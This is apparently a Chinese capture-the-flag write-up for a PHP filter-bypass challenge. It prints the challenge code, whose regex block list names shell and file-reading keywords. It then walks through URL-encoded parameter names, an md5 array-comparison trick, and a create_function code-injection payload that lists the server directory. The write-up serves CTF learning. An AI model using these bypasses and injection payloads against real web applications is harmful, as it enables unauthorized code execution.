一、题目
又是磨人的绕过
<?php
highlight_file(__FILE__);
error_reporting(0);
$www1 = '';
$www2 = '';
$www2 = $_GET['www2'];
$www1 = $_GET['www1'];
$a = 0;
$b = 0;
$c = 0;
if ($_SERVER) {
if (
preg_match('/flag|www|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|ec|ead|inc|1f|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $_SERVER['QUERY_STRING'])
) {
die('1');
} else {
$c = 1;
}
}
if ($_REQUEST) {
foreach ($_REQUEST as $value) {
if (preg_match('/[a-zA-Z]/i', $value)) {
die('2');
} else {
$a = 1;
}
}
}
if ($_POST['aaa'] !== $_POST['bbb'] && md5($_POST['aaa']) === md5($_POST['bbb'])) {
$b = 1;
} else {
die('3');
}
if (preg_match('/flag|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|`|ec|ead|inc|lf|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $www1) ||
preg_match('/flag|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|`|ec|ead|inc|lf|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $www2)) {
die("the last one!");
} else {
if ($a + $b + $c != 3) {
die('!');
}
else{
//flag在同目录下
$www1('', $www2);
}
}
这里看到有四层需要绕的地方
二、解题
第一层:
if ($_SERVER) {
if ( preg_match('/flag|www|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|ec|ead|inc|1f|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $_SERVER['QUERY_STRING'])
)
$_SERVER['QUERY_STRING']是取url中 ?之后的部分,那我们将这之后的关键字如www经编码后就可以绕过了
?%77%77%771=&%77%77%772=
第二层:
if ($_REQUEST) {
foreach ($_REQUEST as $value) {
这个地方和simplePHP题里一个道理,在POST里面传第二遍参,且值为数字就行
第三层:
if ($_POST['aaa'] !== $_POST['bbb'] && md5($_POST['aaa']) === md5($_POST['bbb']))
md5()无法处理数组,即传数组类的参数时有 false===false
后面恒成立
aaa[]=1&bbb[]=2
第四层:
if (preg_match('/flag|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|`|ec|ead|inc|lf|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $www1) ||
preg_match('/flag|fi|arra|mor|ta|le|he|nl|hex|as|cat|ev|so|shel|ob|st|ma|`|ec|ead|inc|lf|log|np|ess|chr|cal|bin|sh|nt|gh|reve|flip|rand|con|ot|id|pr|info|oct|pi/i', $www2)) {
die("the last one!");
} else {
if ($a + $b + $c != 3) {
die('!');
}
else{
//flag在同目录下
$www1('', $www2);
}
这儿是这个题的点睛之笔,属于是比较难受了
后面没有任何关于输出flag提示或者语句
唯一能利用的
$www1('', $www2);
观察这一句的格式,加上hint里的说的创建函数
那必然只能是恶意注入了
$www1需要做变成一个函数名,而$www2需要用 } 来闭合函数构造语句,后面再接回显语句
?%77%77%771=\create_function&%77%77%772=}var_dump(scandir("./"));//
这里的关键字用的是var_dump()和scandir(),cat等等都被ban掉了(紧跟时事)
拿到flag